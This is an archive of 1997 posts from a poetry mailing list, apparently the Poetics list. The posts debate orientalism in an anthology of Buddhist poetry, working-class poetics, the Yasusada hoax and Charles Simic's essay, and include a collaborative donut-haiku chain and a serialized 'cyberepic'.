On the one hand I want to say Johnson and the others "can't help it," its so much a part of the current atmosphere in American poetry and New Age that has made a market for anything ostensibly Asian. But if not now when are we going to take to task this offensive mumbo jumbo of orientalists? Just because they defend themselves on religious terms doesn't mean they aren't contributing to a discourse that can be considered pernicious - elitist, racist, orientalist, simply narrow and self-serving.

At the same time, this is a devoicing of Asian Americans, eclipsing them not in theory but in practice, as Johnson has shown.

Kent Johnson already has demonstrated that the "aesthetic" criteria "naturally" require the most dynamic Buddhist poetry in America. The anthology achieves this, he writes. It contains the

> *most vibrant*
> *interfacings of spirituality and artistic practice in contemporary*
> *American writing.*

If this is "spirituality" it is a crass form, for it is so thoroughly rooted in the most typical uses of religion for ideological ends. It can be interesting as a study of organized desperation, millenium panic, or a new twist on patent American paranoia.

We don't even have to open the can of worms over who is Buddhist, who a good poet; the criteria are so thoroughly orientalist (and ahistorical) that they cannot help but have to exclude Asian-Americans, who are too historically grounded to "be of use" to the construction of this discourse (Orientalism, Ltd.).

> *dean brink*
>
> *abd, East Asian Languages and Civilizations*
> *University of Chicago*
>
> [redacted]

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691. **Dan Machlin**

Kinsella/Jaeggi Reading Cancelled

Tue 24 Jun 1997

The reading/performance of John Kinsella and Urs Jaeggi at The Segue Performance Space in New York scheduled for this Thursday, June 26, is unfortunately cancelled. There are plans for another reading in November. Sorry folks!

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692. **Rachel Kubie**

Syllables & Scribes

Tue 24 Jun 1997

Other examples of syllabic breaks can be found in manuscripts copied by scribes in the Middle Ages--if you happen to have any of those in your back

pocket. I'm looking at Parkes' Pause And Effect, (1993)--on the hist. of punctuation--with the chapter, "The layout and punctuation of verse." These breaks were also elaborate demonstrations of rhymes, where, for example, several lines would be broken off and bracketed with the final rhyming syllable displayed in the grand *littera notabilior* on the right hand side of the page. More complicated displays were created for leonine rhymes--those at the cesura--splitting lines across the page in order to break the rhme off from its words to display. These were not created by the authors--but then, authors were also later than readers and scribes in including punctuation in manuscripts--it was the ms. keeper who wanted to assure approprate readings of the text, i.e. "Look! Look! A Rhyme! cummings is maybe doing something similar?--assuring a reading.

I very much hope this is relevent because I'm so happy to mention it & I would go on for an hour to plug Parkes' bk if I weren't out of cigarettes. Btw, I'm trying to put a paper together on the history of verse on the page (in phonetic alphabets) & if any listmembers could give your brainy well-versed helps, I'd be grateful. I'm trying to stay as superficial and material as possible--papers, inks, lettering, typeface, spelling, punctuation, spacing, line-breaks, etc.. I'm also trying to stay out of this century, tho' I haven't narrowed it more than that. (In a great History of the Book class for summer.) Thanks-- R. Kubie

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693. **Judy Roitman**

Re: Buddhism and racism

Tue 24 Jun 1997

And if Dean Brink had run into some Chinese monks indulging in a little Indian-SubContinentalism 1000 years ago by, horror of horrors, actually writing poems informed by their Buddhist practice --- what would he have said then?

Complain about the editors' hyperbole, complain about the editorial decisions, but you'd better believe this little Russian American Jewish [not Christian, oh no] Buddhist who's sat hard on the cushion for over 20 years in sanghas which include Chinese, Japanese, Korean (and Chinese-American, Japanese-American, Korean-American] members as both students and teachers is not "purvey[ing] the myth of the Christian missionary superiority as it expropriates candy Buddhism."

Candy Buddhism? What kind of candy is that? Buddhist practice is fucking hard, buster. No feel good shit, no way. Your teeth will break into smithereens on that kind of candy, for sure.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |

memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996

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694. **groberts**
Wyatt and not another?
Tue 24 Jun 1997

While I agree that Wyatt wrote some great poems, I think we should remember that what counts as deeply personal for him is a complex problem for us reading him today. His lyric experiments were fabricated from a wealth of 15th century cliches, and it might be true that most of his word-choices were borrowings that were meant to sound quite familiar. He did put them to strange uses now and then, but given his trouble with Henry VIII over Anne, he could not risk sounding too personal unless he wanted to get moved from the Tower to the chopping block.

One of my favorite Wyatt poems is neither original nor personal in our sense of those terms, but compelling in its impersonal sense of contradiction:

Fortune doth frown.
What remedy?
I am down
By destiny.

Gary R

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695. **Hoa Nguyen**
Re: Buddhism and Racism
Tue 24 Jun 1997

> *---------- Forwarded message ----------*
> *Date: Fri, 20 Jun 1997 18:19:01 -0700*
> *From: "Dean A. Brink" <[redacted]>*
> *To: Discussion of Contemporary American Poetry <[redacted]>*
> *Subject: Re: (Fwd) "Buddhistic poetry" & racism (fwd)*

Hoa here.

I have been thinking alot about "orientalism", "racism" and editing an anthology. I would like to go through Brink's message as a way into this dialogue about __Under a Single Moon__ co-edited with Kent Johnson and its subsequent scrutiny by Walter Lew in his anthology __Premonitions__. In Lew's editor's afterward (which Kent supplied earlier so I won't duplicate his efforts) Lew

pointed to a lack of Asian American voices in American letters. Lew also used the C. Forche edited anthology __Poetry of Witness__ as an example of editor bias in action (suggesting that certain atrocities, when by the hands of the American government, where not "witnessed" here by Asian eyes). I want to also encourage a response to this criticism from Carolyn Forche and others familiar with the Witness anthology. Also would like to know if the CAPL is discussing the Witness anthology as well as USM. (Apologies if this discussion took place before I joined).

Brink said:

"I find this discussion about the place of Buddhism in American poetry to be representative of the mainstream - from Gary Snyder to any number of poets that employ Asian imagery for superficial exotic effects. We need to turn the anthropological eye back on the non-Asian Americans who have convinced themselves that they are the superior, true Buddhist poets of the day."

This assertion itself is lacks the very "anthropological eye" that the writer calls for-- indeed what is "Asian imagery"? Rice paddies, water lilies? I do not know which Americans he is referring to as being "convinced of their superiority as true"-- I know that Phillip Whalen, whose health is failing along with his eyesight at the Zen center where he is abbot, could not be held guilty of this. Nor could his poetry.

"What is exposed by the anthology and the defense by its contributors, editors, and others is the extreme to which Orientalism is indeed a unacknowledged part of American poetry and poetics. It goes hand in hand with a rhetoric of sincerity and is always riddled with "bad consciousness" born out of its blindness to the historical."

I agree that Orientalism is often unacknowledged in American *anything*, including poetry.

"Who gains from this? Certainly it does Asian-Americans no good."

What? My only response to this is "SAYS YOU!!" But seriously, I am frustrated by this smug paternalistic attitude.

"Poetry by Asian-Americans tends to include poetry highly conscious of stereotypes, orientalism, racism, and the many ironies born of the ahistorical ignorance exhibited in Kent Johnson and his associates."

I am sorry to break Mr. Brink tidy bubble of how Asian Americans tend to be-- (as a representative of the not-so-model-minority)-- but Asian-Americans can model the very stereotypes that are offered as models of Asians-- Frank Chan, in his foreward to __ The Big Aiiiiiiii!__, was in fact, highly critical of fellow Chinese American writers such as Maxine Hong Kingston and Amy Tan for what he

read as embracing the white-Christian assumptions about the misogynistic and incompetent Chinese male character. And Garrett Hongo's _Open Boat_ anthology was equally criticized for its narrow aesthetic decisions for it excluded experimental writing by Asian-Americans, which, it was contended, furthered an image of what Asian Americans wrote like-- traditional, narrative, image-driven lyric.

"That Lew and others are angry should be Mr. Johnson's first clue that he may be in the Buddhistic loop of consciousness, but he's out in apple pie left field otherwise."

That Lew was the first to voice his concern about anthologies-- using Johnson and Forche as two examples-- says more.

And what does it say for editors/editing practices when my work-- which is "experimental" in approach-- is accepted for an anthology edited by (white) editors (with similar experimental tastes) and also rejected by the (Asian) editors of an anthology of Vietnamese American poets (with a more image based lyric narrative take of poetry)? (see #3 below).

"That Asian-Americans would be excluded is obvious: the editors of the anthology sought to reinforce a "vision" of Asia (for which Buddhism serves as a metonym) that is less-than-discretely post-colonialist in tone. The white Buddhist tribe represented in the anthology purveys the myth of the Christian missionary superiority as it expropriates candy Buddhism. Buddhism becomes a commodity among a New Age people ('in search of deeper truths') who sample various religious imagery to evoke a sensibility that peaks with their pleasantly bourgeois conundrums, or offers a refreshing disorientation vis-a-vis the logocentrism of everyday life."

That there were no Asian Americans in this anthology was suprising to me given the geographical origin of Buddhism. This to me does also say something about the social pressures that are exerted between groups. Mr Lew said as much-- and I agree that anthologizing in general is a tricky thing. Buddhism is commodified because-- hello look around you-- editors have to find a handle for poetry in the market place. Calling yourself a school of something has a similiar affect-- even when the "handle" groups disparate approaches to writing.

Buddhism is not held as the property of Asians-- and the whole point is to practice and give-- to suggest that it is "expropriated" feels to me another way of making Asians subverient to the dominant.

I want to make further points but am running out of time (have to go to work) and want to post this for Kent Johnson's response before he takes off for vacation. So in brief--

1) Is there any anthology that does not reflect the interests, cohorts, and tastes of the editor?

2) Is there any anthology that is pure from the wider social contructs the editor operates in?

3) Wouldn't it be closer to the truth for any editor to write something like "The poets/poems in this collection are my friends, people I admired and/or work I am interested in that I happened to see or was sent to me. I have presented them in book form because I want others to see it and hope that there is enough interest in these poets so that I can continue to publish poetry-- because we all should have more poetry".

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696. Eliza McGrand- CVA Guest

Re: long article up for criticism if yr up for it!

Tue 24 Jun 1997

kali i'm a little puzzled on a few points. first, i DID say quite clearly that at the moment, my gripe is incest poetry. i did NOT say the only, or primary, or biggest group of bad poetry is incest poetry, only that at the moment, that is my particular gripe.

i said that because that is the main amount of bad poetry i'm seeing. i don't see that much bad vietnam poetry (though i know the material, having seen my share of it and then some) so i don't have so much of a problem with it at the moment. when i was in at umass boston where we have a lot of vet poets, i saw a lot more and then it bugged me more. when i was at a writing conference run by vietnam vets (which is, by the way, where a friend who ran one of the workshops gave me, as badly needed advice, the gem "bad poetry should NEVER be celebrated. he is, by the way, a working class guy who writes about vietnam and is one of the people i'd have quoted if i'd have had room. HIS writing i celebrate from here to christmas!) i saw a bunch more, but still, i saw even more incest poems than vietnam poems. who knows, maybe i have a sort of look that says "give me your tired, your hungry, your incest/molestation poems..." i'm sure you know that bruce weigl (who i mention as writer of one of my favorite incest/molestation poems) is a vietnam vet who writes some of the most extraordinary poetry, and vietnam poetry, i've ever read, so i'm a bit puzzled that you bring in vet poetry as if i wouldn't know about it... maybe i missed something there?...

also, i am not setting up straw dummies in the least. again, maybe this is a reflection of our editorial approachability, but alot of the writers whose work i don't take, or who i don't cheer and froth at the mouth (mediocre poet has been awful at times. and wait a minute, i SAY that, so again, having given at least one example from life, isn't it pretty clear i'm getting flack on this?... anyway, before i got lost in the paranthetical forest... i wrote this article in part as something to refer people with a gripe because i kept stressing boring quality issues about their Important Subject poems. i mean, i have fantasies of xeroxing this en masse and just automatically handing it out whenever the usual quarrel starts.

don't any of the people you send rejection slips ever get back to you? mine do, and how!

i wonder if i should rewrite to be a little more explicit here, but one of the big problems when a writer writes the Big Subject poems is that there are a million meaningless cliches out there on the Big Subjects. and when writer gets very enamored of the Big Subject, they often stop actually listening to the vein of real feeling inside/wherever that they are (hopefully) writing from, and tap straight into a mainline of Big Cliches on the Big Subject. i remember, to use an example you might relate to, a vietnam war poem by a writer who began one story line, with one character, only to get so caught up in big cliches that he ended up contradicting a number of points in his story line just because he got sucked into putting down those cliches instead of following his story. when asked how if he said so and so was a quiet guy he could later give a description of so and so, i believe the phrase was, "busting chops left and right" he was unable to really come up with anything. when asked to pare back to what he wanted to describe, to say in just prose words what happened, it turned out to have a substantially different feel from poem, which was a very melodramatic "and then i ripped the top off that sucker and sneered at death" etc... moreover, some of the actual events changed! THAT is what i'm addressing, in part, when i describe getting caught in the cliches and forgetting the real experience/idea/germ of poem.

e

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697. **Jay Schwartz**

Re: long article up for criticism if yr up for it!

Tue 24 Jun 1997

This response is from Kathy Lou Schultz, she asked me to post it for her.

I agree whole-heartedly with Kali Tal that a discourse around class and poetics is lacking, if not invisible, and welcome the opportunity to discuss these

important issues more in- depth. That said, my response to the construction of a "working class poetry" is set out below.

First, the drive to create "poetries of identity" (a phrase I've been using for some time) tends to solidify normalizing tendencies in terms of forms, style, and content, i.e. does a poem have to be narrative, "I"-based and "about" work in order to be considered "working class"? In all of the "working class" poetry anthologies I've seen it does.

Furthermore, drawing a straight line between one's "identity" and one's poetics is problematic at best and confuses the biographical information about the poet with poetic works that genuinely seek to explore, unseat, complicate subjectivity. The obvious point to be made is that identities are infinitely mediated and complex; coming from a particular class, race, gender, etc. is not--and should not be--the map through which one can trace a trajectory toward a particular type of poetic expression. n.b. I find the quest to uncover a "women's language" to be wrought with the same oversimplification.

For example, are we sure that "working class poets generally have less patience with Theory"? Which working class poets? Where? And if I, with my working class background, write poetry which concerns itself with Theory is my writing no longer "working class"? Do we define poetries of identity based on biographical data? content? form? Can this be applied to other art forms? For example, how could I discern a "working class" sculpture from a ruling class one?

It cannot be disputed that privilege leads to the time, space and circumstances in which to produce art. Poor and working class writers are not afforded this luxury. This affects poetic production in important ways and is perhaps the most frustrating aspect of trying to write that working class writers face. Yet a shared class background does not necessarily lead to a shared poetic. What is needed is a critical discernment which uses biography, social and historical contexts, and other factors as lenses through which to examine poetic works, not a process of labelling which conflates identity with poetic production that only succeeds in putting poems, and poets, into little boxes.

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698. Robert Archambeau
In Defense of Simic
Tue 24 Jun 1997

Aldon Nielsen wrote:

> *Mr. Simic tells us "With the rise of literary theory in the last 20 years and the quick turnover of critical approaches, not only American but world literature lost out." Now, this is preceded by the complaint that "Our big secret, our unspoken literary scandal, is the near total ignorance by*

> *our writers, editors and academics of literature being written elsewhere in the world." Mr. Simic appears to believe that the place on the coffee table once held by Robbe-Grillet (or "even" an anthology of Spanish poetry) is now given to a succession of THEORISTS*

Well:

If we take Simic to mean that we are faced with an either/or situation, in which we can read either poetry or books of theory, then his point is cetainly objectionable, even before we take into account the challenging of the theory/poetry distinction that has been at the heart of a great deal of writing over the past couple of decades.

But:

I think Simic has a valid point in that graduate schools tend to encourage a great deal of cosmopolitan foraging around for the latest in literary theory (a good thing), but fail to extend that encouragement to poetry, novels, etc (an inexcusably bad thing).

And:

This was certainly my experience throughout most of grad school, and has been the experience of friends of mine at several institutions -- one is urged to know about what people are theorizing in Europe and (less often, and only more recently) elsewhere, but if you don't come to graduate school with the sense that you ought to look into Serbian or Tamil or Swedish or Egyptian or Australian poetry, you almost certainly won't pick it up there. Even multiculturalism tends, too often, to refer only to American multiculturalism.

So:

We need more people like Simic (whose _The Horse Has Six Legs_ is the best anthology of Serbian poetry to be published in America, and whose _Another Republic_ helped introduce many European and Latin American writers in the US), people who are willing and able to cross cultural boundaries and bring work from elsewhere to us. If he comes off as frustrated in this essay, I suppose he's been given cause enough, as American education and American readers continue all-too-often continue to do only lip service to the idea of a cross-cultural literary dialog.

To Reiterate and Conclude:

Pushing students to read theoretical writers from all over the globe is a good thing, a real gain over earlier and more insular practices. We ought to extend this cosmopolitan urge to nontheoretical writing as well, and we have, by and large (with exceptions, absolutely, but they _are_ exceptions and not the rule) failed to do so. And whatever we may think about what Simic implies about

theory, he is absolutely right in urging American readers to be less insular, and in worrying that the academy is failing to right the situation.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045

http://www.lfc.edu/~archamb/

↑ Index

699. Thomas Bell
Re: long article up for criticism if yr up for it!
Tue 24 Jun 1997

Kali,

Since we now sem to be somewhat more direct and honest here, I do have a couple of words to toss in:

My first response to an article on this issue (which I think may have given impetus to this current revolt against the personal) was - this lady is afraid of something. The something might be honesty, reality, therapy, etc...., but the something is there. I suspect it might be an element in other attitudes (I get a little squirmy reading about castration, I think).

But as a psychologiist I know it is a mistake and retraumatizing to push overmuch for confrontation.

Reality of experience might or might not matter when it comes to literature, but I think much of this kind of discussion obscures some essential points. "Good" writing is related to if not synonymous with "authentic" living.

1. I think "good" writing hits universals and universals are usually found in the most intense personal experience (whether presented realistically or in fantasy (e. g., Conrad, Styron).

2. Writing itself (or the act of "honing" a piece) leads to universality or honesty of personal experience (John Gardner's "On moral fiction" comes to mind here. He was as honest as his writing and he felt his writing keep him so.

3. In my experience writing, life, and therapy do not differ in any essential aspects. One can be deceptive (toward self as well as others) in any of these activities, but it generally shows.

I don't think, BTW that all literature should try for authenticity any more than

I think all life should be serious.
tom bell

↑ Index

700. john chris jones
parts of the cyberepic
Tue 24 Jun 1997

---

cyberepic: 4th posting

5

(more of the Dante/jones conversation)

... and I'm not a clone, types Dante.

mr. jones lets that stand though he wonders at D's vocabulary ...

So now Dante, he types (if your new new presence or even resurrection is to be credited) please tell me how you are going to do this rewriting of everything that we fail to believe in? Are you going to infer your whole argument from the absence of capital letters or are you going to look at all the other kinds of significant detail that you can perceive in modern life?

Dante replies swiftly to this, for his mind is already full of expectations and immediacies and he can't wait to get his thoughts into conjunction with all the details and practicalities (as well as the theologies or their substitutes) that he guesses are waiting for him in this manifestation six or seven hundred years after the first Dante gave his poetic vision to the world as it was ...

But he has a difficulty, he types, still speaking of himself in the third person. It is that as pure spirit, no more mortal nor human than the forms of these letters, he has no direct way of encountering modern life as it's lived, nor even of reading the printed literature. All he can get to is what his still surprised correspondent, mr. jones, can write in words on this screen. Are you willing to do it, mr. jones, he asks. Are you able to give me enough of a picture of life as you people live it for me to react to and recompose into the more complete reality that I don't believe you believe in yourselves? I mean the undivided world.

Yes I can, types jones immediately, dropping the mr. It is lucky for you that you've reached the screen of someone who has not only lived a long time but has written thousands of pages in which he has noted his thoughts and experiences. They are waiting to be made sense of ... How did you know that I have them, and have despaired of finding someone like you to help me out?

Don't ask me to break the illusion completely, mr. jones, it's not my forte to destroy. I am here to read all you have written and then to reply with my own

version of things, as seen from my position, still an exile, but never losing my faith in the good and the beautiful while retaining an eye for what is not.

Can you wait until the morning Dante, types jones, for it's time I went to bed.

Dante, requiring no sleep, food, air, nor any earthly sustenance, asks if there is something already written that he can read and study in the night?

Uh ... yes there are thousands of pages, types jones, and many are hardly legible or understandable to anyone but myself ... But here are some I call noteart that I've begun to type out ...

Just copy and paste them onto the screen, types Dante, and attend to your dreams ... I wish you well.

But mr. jones is already asleep and into his dream come more words by Wallace Stevens:

The fault lies with an over-human god,
Who by sympathy has made himself a man ...

(from 'Esthetique du mal', The collected poems, Faber and Faber, London, 1955, p315,lines and poem chosen by chance process before reappearing in dream and on screen)

(c) 1997 john chris jones
You may transmit this text to anyone for any non-commercial purpose if you include the copyright line and this sentence.

If you want to read more of it, or would prefer it to stop, please tell me backchannel and I'll try to act accordingly. This is its first publication.

Previous postings appeared in Poetics Digests of 4-5th, 9-10th and 11th -12th June 97.

(correction to previous posting:

N'est pas? ... Or shall I say non é? or is it noné?

should have appeared as

N'est ce pas? ... Or shall I say none or non e?

Eudora read my accented e as é. Dante forgives both of us - he says we are as we are and he is something else.)

↑ Index

701. **Hugh Steinberg**

Re: more haiku-gram

Tue 24 Jun 1997

> *[d.i.]:*
>
> *forget the spam-po*
> *what I'd really like to see*
> *is donut haiku*
>
> *buttermilk sugar*
> *they knead me & they fry me*
> *none taste the center*
>
> *[Steven Marks]:*
>
> *the center holds holes*
> *something to nibble around*
> *no mess on my hands*
>
> *[d.i.]:*
>
> *without the coffee*
> *a donut is not done here*
> *darkness to imbibe*
>
> *[s.m.]:*
>
> *nut to do but dough*
> *coffee from a hell of beans*
> *my do-dough dissolves*
>
> *[d.i.]:*
>
> *nonesistence hides*
> *in the very word donut*
> *nut signifies naught*
>
> *[Katherine Lynes]:*
>
> *yellow innards splooch*
> *bavarian dive bomber*
> *cannot hold center*
>
> *[d.i.]:*
>
> *and what about do?*
> *do of course signifies dough*

> *a dough-naught for you!*
>
> *[D.P. Salmon]*
> *do-ough a de-ar*
> *a whole in one*
> *raison drops in bun*
>
> *[Randolph Healy]*
> *Sphere before torus*
> *when the centre was not holed*
> *goodbye nut hi ring*
>
> *[L. MacMahon]*
> *batter my heart and*
> *artery o sweet and fat*
> *confectionary*

I love everyone
says the old cop on his beat
let 'em eat donuts.

Hugh Steinberg

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702. David Israel
Re: Buddhism and racism
Tue 24 Jun 1997

Judy --

<< And if Dean Brink had run into some Chinese monks indulging in a little IndianSubContinentalism 1000 years ago by, horror of horrors, actually writing poems informed by their Buddhist practice --- what would he have said then? >>

yes, I was thinking abt. that today while walking down the street (a familiar enough theme): the migration of Buddhism to America & its interesting resonance w/ a kindred migration to the (erstwhile foreign) East Asian lands some time ago, a few turns of the calendrical --

cheers
d.i.

> Stepping over the sleepers the fires the calendars
> my voice turns to you
> - W.S. Merwin, "The Way to the River"

↑ Index

703. **David Israel**

Re: more haiku-gram

Tue 24 Jun 1997

> *[d.i.]:*
>
> *forget the spam-po*
> *what I'd really like to see*
> *is donut haiku*
>
> *buttermilk sugar*
> *they knead me & they fry me*
> *none taste the center*
>
> *[Steven Marks]:*
>
> *the center holds holes*
> *something to nibble around*
> *no mess on my hands*
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> *[d.i.]:*
>
> *without the coffee*
> *a donut is not done here*
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> *nut to do but dough*
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> *[Randolph Healy]*

> *Sphere before torus*
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>
> *[L. MacMahon]*
>
> *batter my heart and*
> *artery o sweet and fat*
> *confectionary*
>
> *[Hugh Steinberg]:*
>
> *I love everyone*
> *says the old cop on his beat*
> *let 'em eat donuts.*

[d.i.]:

no start & no end
till you yourself nibble the
do (history) nut

↑ Index

704. George Bowering
Re: long article up for criticism if yr up for it!
Tue 24 Jun 1997

It seems to me that if the poet's background is essential to reading the poem, then it would affect the poem in such a way that the reader of the poem would know what it was.

I mean I am reminded of the old 60s thing. A says what's yr sign? B says Pisces. A says I knew you were a Pisces from the way you.....

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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705. David Israel
further re: Buddhism and racism
Tue 24 Jun 1997

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further on the --

why did the Patriarch come from the West? [i.e., from India to China] threadlet of the "Is American Buddhism an expropriation from East Asia?" threadlet of the "Beneath a SINGLE [heavens!] Moon" thread . . .

it's my impression that one of the great delights, in the early centuries of Chan [Zen] in China, was that of having authentic native-born Buddhist teachers re-inventing Buddhism with a Chinese face, rather than (as was the wont for a good while theretofore) always looking to India & Indianism for authority & authenticity.

And teachings (& then, Buddhist poetry!) given in Chinese! -- that was a radical new development. Esp. when poets integrated the new teachings with native ("classical" Chinese) literary forms of expression -- not simply the doggeral of scripture, but the more subtle hues of "personal" (naturalistic) experience, underpinned by Buddhist theory & practice.

& teachings even in a vernacular, jaunty, experimental Chinese (rather than the usual: blah-blah-blah Sanskritized Chinese of the scriptures that people kept on running over to India to find more of -- always making a big deal of India, always assuming that only from India could you get "real" Buddhism. It took a long time to get over that). After Hui Neng, the whole thing began seriously to break loose -- he still taught the Diamond Sutra, but his realization (or do I misremember?) was arrived at while grinding rice in the temple kitchen -- not while mouthing fancy-dancy Sanskrit (which he didn't know at that point, meseems).

In the next several generations, you had these radical forms of teaching -- folks burning up the Indian sciptures, glaring, talking plainspeak, or not talking, or asking & answering questions that no one in Indian Buddhism (the erst standard of authenticity) would have so posing or so answering.

(anyway, nothing like a good occasion for a rant, n'est pa?)

cheers, d.i.

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706. David Israel
further re: Buddhism and racism, p.s.
Tue 24 Jun 1997

---

an inadvertant elision:

<< . . . glaring, talking plainspeak, or not talking, or asking & answering questions that no one in Indian Buddhism (the erst standard of authenticity) would have [DREAMED OF] so posing or so answering. . . . >> d.i.

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707. Steven Marks
Re: more haiku-gram
Tue 24 Jun 1997

[d.i.]:

forget the spam-po
what I'd really like to see
is donut haiku

buttermilk sugar
they knead me & they fry me
none taste the center

[Steven Marks]:

the center holds holes
something to nibble around
no mess on my hands

[d.i.]:

without the coffee
a donut is not done here
darkness to imbibe

[s.m.]:

nut to do but dough
coffee from a hell of beans
my do-dough dissolves

[d.i.]:

nonesistence hides
in the very word donut
nut signifies naught

[Katherine Lynes]:

yellow innards splooch
bavarian dive bomber
cannot hold center

[d.i.]:

and what about do?
do of course signifies dough
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[D.P. Salmon]:

do-ough a de-ar
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[Randolph Healy]

Sphere before torus
when the centre was not holed
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[L. MacMahon]

batter my heart and
artery o sweet and fat
confectionary

[Hugh Steinberg]:

I love everyone
says the old cop on his beat
let 'em eat donuts.

[d.i.]:

no start & no end
till you yourself nibble the
do (history) nut

[s.m.]:

from naut- to navel
my do-naught, my omphalos
which one to fill up?

↑ Index

708. Aldon L. Nielsen
Re: Is the self-evident evidence of a self?
Tue 24 Jun 1997

Have just finished reading the responses in the current _Boston Review_ to Marjorie Perloff's earlier article on the Yasusada texts and their publication (yes, it takes a while for things to reach me up here in the mountains --

more interesting to me even than the "original" success de/du scandal(e) is the mode of response here -- the "Yasusada" affair becomes a screen upon which a writer might project his or her anxieties of the day -- for example:

Mr. Simic tells us "With the rise of literary theory in the last 20 years and the quick turnover of critical approaches, not only American but world literature

lost out." Now, this is preceded by the complaint that "Our big secret, our unspoken literary scandal, is the near total ignorance by our writers, editors and academics of literature being written elsewhere in the world." Mr. Simic appears to believe that the place on the coffee table once held by Robbe-Grillet (or "even" an anthology of Spanish poetry) is now given to a succession of THEORISTS -- which only goes to show that Mr. Simic visits a different class of coffee tables from any I have ever experienced.

but it would seem that this theory is not read any more closely than the texts of Yasusada were -- for Greg Glazner and Jon Davis tell us in their response that "Michel Foucault's writings, which focus exclusively on uncovering social power structures, lurk in the background of this confused literary scene." EXCLUSIVELY?

more close reading of the same sort: Simic concludes his letter -- :Only in our academic cirles is the claim being made that it's philosophically impossible, even for an experienced cook, to judge whether the meal prepared by someone else was cooked badly or not." the which makes me wonder if Simic's experience of literary theory has in fact been confined to coffee tables.

of course, there is a bit of theorizing going on in Glazner and Davis's contribution -- They would distinguish a "true multicultarlism" from whatever it is they think is going on, one in which "'Excellence' would have to return . . . " immediately adding "that standards for such a complex range of work would never achieve anything approaching certainty"

well, as my good buddies Romy and Michelle would say, duh --

so, the problem is that all this poiltically correct relativism and victimology has taken us away from true standards of excellence, which we need to get back to as fast as we can, though we can never be certain what those standards may be --

Mr. Weinberger adds:

"Yasusada occurs at a moment when the Eng. Dept. has split into two contradictory 'post-modernisms": multiculturalism and deconstruction (and its spin-offs). One side wants to hear the stories that haven't been told, and the other doubts that stories can be told. (One side, at least, still wants to read literature.)"

I suppose it would be too much to expect people to read closely, quote accurately, attempt fair representations of the positions of others (you know, those "others" we hear about so much now), or at least to give some evidence of ever having read the works they claim now dominate academic literary study --

but I have to get back to all these books of poetry and fiction and criticism my wife and I have piled all over our own little coffee table -- If this smattering of

abuse whets your appetite, get the current issue of the _Boston Review_ for the full text version (and Marjorie Perloff's most restrained reply) --

[and did I miss something in the Yasusada affair? I hadn't heard that these texts had been published by English Departments]

interdepartmentally yours,
aldon

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709. **Wystan Curnow**
Re: long article up for criticism if yr up for it!
Tue 24 Jun 1997

Thomas,
To be frank I have a squirmy feeling that you've re-traumatized the lady Eliza. Unless of course you're NOT being straight. Should we expect irony from a psychologist?
Yours sincerely,
Wystan

↑ Index

710. **Eliza McGrand- CVA Guest**
no trauma but puzzlement
Tue 24 Jun 1997

---

dear wystan and tom and all

no i'm not re-traumatized! um, wystan, i'm not entirely sure the original article tom mentions was mine -- he goes back to revolt against the personal and throws in castration, and i had a thought he might have meant initial k dawn posts?...

if he meant my article, bang on the nose! i am terrified of more hordes of disgruntled relatives of Mediocre Poet waving sheaves of bad writing at me in a Mediocre but very sincere frenzy!

i have made a serious ommission in terms i think. i don't mean true as in, necessarily, real and it actually happened. i mean true in that it is a compound of observed reality, contains flashes of all sorts of reality blended through the magic of your fiction set into writing. you all remember the post months ago about someone listening to conversation in a cafe as part of a class assignment, and it was rather different than they imagined it would have been. THAT is the idea -- a fully imagined, true in that it has versimilitude, even if in its own world. for example, vonnegut's people are exceedingly wacky, eugene o'neils

people are exceedingly tormented, flannery o'connor's people are exceedingly funny and so on. i am not convinced anyone as bizarre as a vonnegut character ever quite existed, but he has the details down so well, has so much consistency and versimilitude, works with such intensely imagined world, and i've heard people say things like the things his characters say so often that i'm not sure but what they might not exist somewhere.

by the by, point about privileging more "important" types of experiences, i.e. poem about vietnam automatically more "important" than poem about swimming is, i think, the heart of a dangerous fallacy. a bad poem about vietnam which is full of cliches, internally inconsistent, not based on real observation but based on crummy t.v. show cliches, is not automatically better, or more important than a lovely poem about, say, "Go, lovely rose! Tell her that wastes her time and me..."

when i want a poem that touches a bitter, betrayed, empathetic mood in me, and i go to the bad vietnam poem, it is still, well, YUCK! i am re-traumatized. i am fed a slimy syrup of cliches. now, i am in a particularly buoyant summer mood, or, have just lost another very dear patient, and find that rose poem, and i am moved, it is really fine, feel something strong said about eternity. same, am feeling particularly lost and without hope, and read swimming poem, or most of maxine kumin, and i am given for a strong timeless reading moment a waft of old new england, of roots, joy, peace, long musings on all sorts of things... i got, in other words, what i came for in well written poem. now, imagine a well written viet nam poem. but i want summer, bouyant good humor, wit, delicacy, lovely imagery, that incredible high of being directly connected for a moment to a long ago point in history. um, the vietnam poem might be very very good, but it is not giving me those things.

that a poem transmits a reality, full, imagined, multi-shaded, even a not true but realistic reality, is, i would think, the main thing. an abstract poem could do the same thing, no? -- it is, if well made, the poet's well crafted multi-level work. has its own internal principles, contains coding in the way it is put together... the leaps between spicers images, the intense bursts of experience.

by the by, i'm not sure how class got dragged in here but my motto on same is don't make assumptions. people you might assume are the Upper Class (put in subtext elitist snob rich repressors) may in fact be poor as church mice, the only people for generations in their family to have any school at all, autodidacts, may work in job cleaning -- think of judy grahn, meridel leseur, tillie olson. all gloriously verbal, tremendously brilliant, add audre lord to that list, all very capable of using polysyllabic latinate words and all the buzzwords anyone could desire. and all working class. can work in opposite direction. class. much more delicate than at first seems. always at work in america, just not so

overtly. and, in america, often, even most often, bounded in terms of employment, not birth. the kali tal who has academic job at yale is, indeed, considered in class many steps above laboring slob who does secretarial/administrative work and works as nurse's aide. same kali tal enjoys automatic respect, privileges, social assumption of "eligibility" for all sorts of things working jane gets snubbed for, be working jane ever so erudite! e

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711. **Thomas Bell**

Re: no trauma but puzzlement

Tue 24 Jun 1997

Great post Elisa. yes,the reference was to k. dawn's.
tom bell

At 10:15 PM 6/24/97 -0400, you wrote:
>dear wystan and tom and all
>
>no i'm not re-traumatized! um, wystan, i'm not entirely sure the original
>article tom mentions was mine -- he goes back to revolt against the
>personal and throws in castration, and i had a thought he might have meant
>initial k dawn posts?...
>
>if he meant my article, bang on the nose! i am terrified of more hordes
>of disgruntled relatives of Mediocre Poet waving sheaves of bad writing
>at me in a Mediocre but very sincere frenzy!
>
>i have made a serious ommission in terms i think. i don't mean true as
>in, necessarily, real and it actually happened. ,,,,

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712. **David Israel**

